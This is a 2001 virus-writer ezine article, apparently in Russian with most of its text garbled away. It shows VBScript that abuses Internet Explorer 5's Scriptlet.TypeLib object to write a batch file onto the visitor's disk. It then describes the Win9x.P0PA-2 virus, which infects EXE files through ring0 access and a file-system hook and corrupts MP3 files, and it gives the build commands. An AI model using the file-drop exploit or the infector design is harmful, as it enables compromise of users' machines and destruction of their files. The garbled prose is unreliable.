
 /*-----------------------------------------------------------------------*/
 /*                       R I N G 0,    I S S U E   # 1                   */
 /*-----------------------------------------------------------------------*/

                    p0pa    

                                                      Gr.Protagor // SBVC
                                                      Santa // SBVC

       ...    .  Internet Explorer 5.0
       MicroSoft       ...        
               .
      Scriptlet.TypeLib:

 ==========================================
   set tl=CreateObject("Scriptlet.TypeLib")
   tl.Reset
   tl.Doc=vbCrLf+"cls"+vbCrLf
   tl.Path="c:\test.bat"
   tl.Write
   set tl=nothing
 ==========================================

          C:  test.bat   
  cls...
       ,    
     TypeLib(  -),     - 
     EXE  COM   ...   
    ,   BAT  HTML.

   :

      c:\win.bat
     ,     Debug   
 COM,     EXPLORER.EXE
       ...

  : Ring0(LDT), TSR(IFS API), PE EXE infector
   :  CD-Rom   :)

        :
   1. Win9x
   2. IE 5.0

      IE5.5  IE4 ... .   IE4  
   ,   IE5.5  :)

    ,   ~80%    Win9x +
 IE5   (         ),           -
 !

 /*---------------------------------------------------------------------*/

                             Win9x.P0PA-2


                  Win9x.P0PA
 (Win95.Apop)     ,      :) 
  

   :

         ring0  LDT
       IFSAPI  (  :)     
 IFSFN_OPEN  ..        .EXE
  .MP3   .EXE     ...

    EXE-:

             ,  ..     
             ...   
 -    .          
  -  .

   "" MP3-:

      ...        MP3-  
 ,      50  "Fuck",      
 ,    -    :))   
 ,  ,      
       ...  :)  ..   MP3-   
  ...

    :

 tasm32 /s /m /z /ml p0pa2.asm
 tlink32 /Tpe /aa /c /x p0pa2,p0pa2.exe,, /L import32.lib

   ! ,   -  rogatorp@yahoo.com.au

 .

 19.07.2001

 Gr.Protagor // SBVC
 Santa // SBVC

 P.S.  
 